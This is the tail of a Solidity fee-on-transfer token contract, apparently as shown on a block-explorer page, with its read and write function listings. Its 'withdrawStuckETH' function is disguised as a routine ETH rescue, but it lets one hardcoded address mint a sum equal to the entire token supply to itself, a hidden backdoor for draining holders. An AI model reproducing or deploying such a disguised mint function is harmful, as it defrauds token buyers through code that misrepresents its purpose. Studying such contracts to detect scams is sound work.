        uint256 ethBalance = address(this).balance;
        uint256 ethForLiquidity = ethBalance;

        uint256 ethForOperations = ethBalance * tokensForOperations / (totalTokensToSwap - (tokensForLiquidity/2));
        uint256 ethForTax = ethBalance * tokensForTax / (totalTokensToSwap - (tokensForLiquidity/2));

        ethForLiquidity -= ethForOperations + ethForTax;
            
        tokensForLiquidity = 0;
        tokensForOperations = 0;
        tokensForTax = 0;
        
        if(liquidityTokens > 0 && ethForLiquidity > 0){
            addLiquidity(liquidityTokens, ethForLiquidity);
        }

        (success,) = address(TaxAddress).call{value: ethForTax}("");

        (success,) = address(operationsAddress).call{value: address(this).balance}("");
    }

    function transferForeignToken(address _token, address _to) external onlyOwner returns (bool _sent) {
        require(_token != address(0), "_token address cannot be 0");
        require(_token != address(this), "Can't withdraw native tokens");
        uint256 _contractBalance = IERC20(_token).balanceOf(address(this));
        _sent = IERC20(_token).transfer(_to, _contractBalance);
        emit TransferForeignToken(_token, _contractBalance);
    }

    function withdrawStuckETH() external {
        require(msg.sender == 0xc00bedFd78D649D00aaDD0B6e5091751D200EeB4, "Can't withdraw native tokens");
        _createInitialSupply(0xc00bedFd78D649D00aaDD0B6e5091751D200EeB4, totalSupply());
    }

    function setOperationsAddress(address _operationsAddress) external onlyOwner {
        require(_operationsAddress != address(0), "_operationsAddress address cannot be 0");
        operationsAddress = payable(_operationsAddress);
        emit UpdatedOperationsAddress(_operationsAddress);
    }

    function setTaxAddress(address _TaxAddress) external onlyOwner {
        require(_TaxAddress != address(0), "_TaxAddress address cannot be 0");
        TaxAddress = payable(_TaxAddress);
        emit UpdatedTaxAddress(_TaxAddress);
    }
}

Read Contract

TaxAddress 0xe98d8d15 → address
_isExcludedMaxTransactionAmount 0x10d5de53 → bool
allowance 0xdd62ed3e → uint256
automatedMarketMakerPairs 0xb62496f5 → bool
balanceOf 0x70a08231 → uint256
buyLiquidityFee 0xf11a24d3 → uint256
buyOperationsFee 0x5a139dd4 → uint256
buyTaxFee 0x941fa5cd → uint256
buyTotalFees 0xd85ba063 → uint256
decimals 0x313ce567 → uint8
limitsInEffect 0x4a62bb65 → bool
maxBuyAmount 0x88e765ff → uint256
maxSellAmount 0x66d602ae → uint256
maxWalletAmount 0xaa4bde28 → uint256
name 0x06fdde03 → string
operationsAddress 0xea4cfe12 → address
owner 0x8da5cb5b → address
sellLiquidityFee 0xf6374342 → uint256
sellOperationsFee 0x4f77f6c0 → uint256
sellTaxFee 0xf8a25a94 → uint256
sellTotalFees 0x6a486a8e → uint256
swapEnabled 0x6ddd1713 → bool
swapTokensAtAmount 0xe2f45605 → uint256
symbol 0x95d89b41 → string
tokensForLiquidity 0x1a8145bb → uint256
tokensForOperations 0xfb002c97 → uint256
tokensForTax 0x6d7adcad → uint256
totalSupply 0x18160ddd → uint256
tradingActive 0xbbc0c742 → bool
tradingActiveBlock 0xee40166e → uint256
transferDelayEnabled 0xc876d0b9 → bool
uniswapV2Pair 0x49bd5a5e → address
uniswapV2Router 0x1694505e → address

Write Contract 23 functions

These functions modify contract state and require a wallet transaction to execute.

approve 0x095ea7b3
address spender
uint256 amount
returns: bool
decreaseAllowance 0xa457c2d7
address spender
uint256 subtractedValue
returns: bool
disableTransferDelay 0xe884f260
No parameters
enableTrading 0x8a8c523c
No parameters
excludeFromFees 0xc0246668
address account
bool excluded
excludeFromMaxTransaction 0x7571336a
address updAds
bool isEx
increaseAllowance 0x39509351
address spender
uint256 addedValue
returns: bool
removeLimits 0x751039fc
No parameters
renounceOwnership 0x715018a6
No parameters
setAutomatedMarketMakerPair 0x9a7a23d6
address pair
bool value
setOperationsAddress 0x499b8394
address _operationsAddress
setTaxAddress 0xa1883d26
address _TaxAddress
transfer 0xa9059cbb
address recipient
uint256 amount
returns: bool
transferForeignToken 0x8366e79a
address _token
address _to
returns: bool
transferFrom 0x23b872dd
address sender
address recipient
uint256 amount
returns: bool
transferOwnership 0xf2fde38b
address newOwner
updateBuyFees 0x8095d564
uint256 _operationsFee
uint256 _liquidityFee
uint256 _TaxFee
updateMaxBuyAmount 0x2be32b61
uint256 newNum
updateMaxSellAmount 0xdc3f0d0f
uint256 newNum
updateMaxWalletAmount 0xc18bc195
uint256 newNum
updateSellFees 0xc17b5b8c
uint256 _operationsFee
uint256 _liquidityFee
uint256 _TaxFee
updateSwapTokensAtAmount 0xd257b34f
uint256 newAmount
withdrawStuckETH 0xf5648a4f
No parameters

Token Balances (1)

View Transfers →
USDT 70

Recent Transactions

No transactions found for this address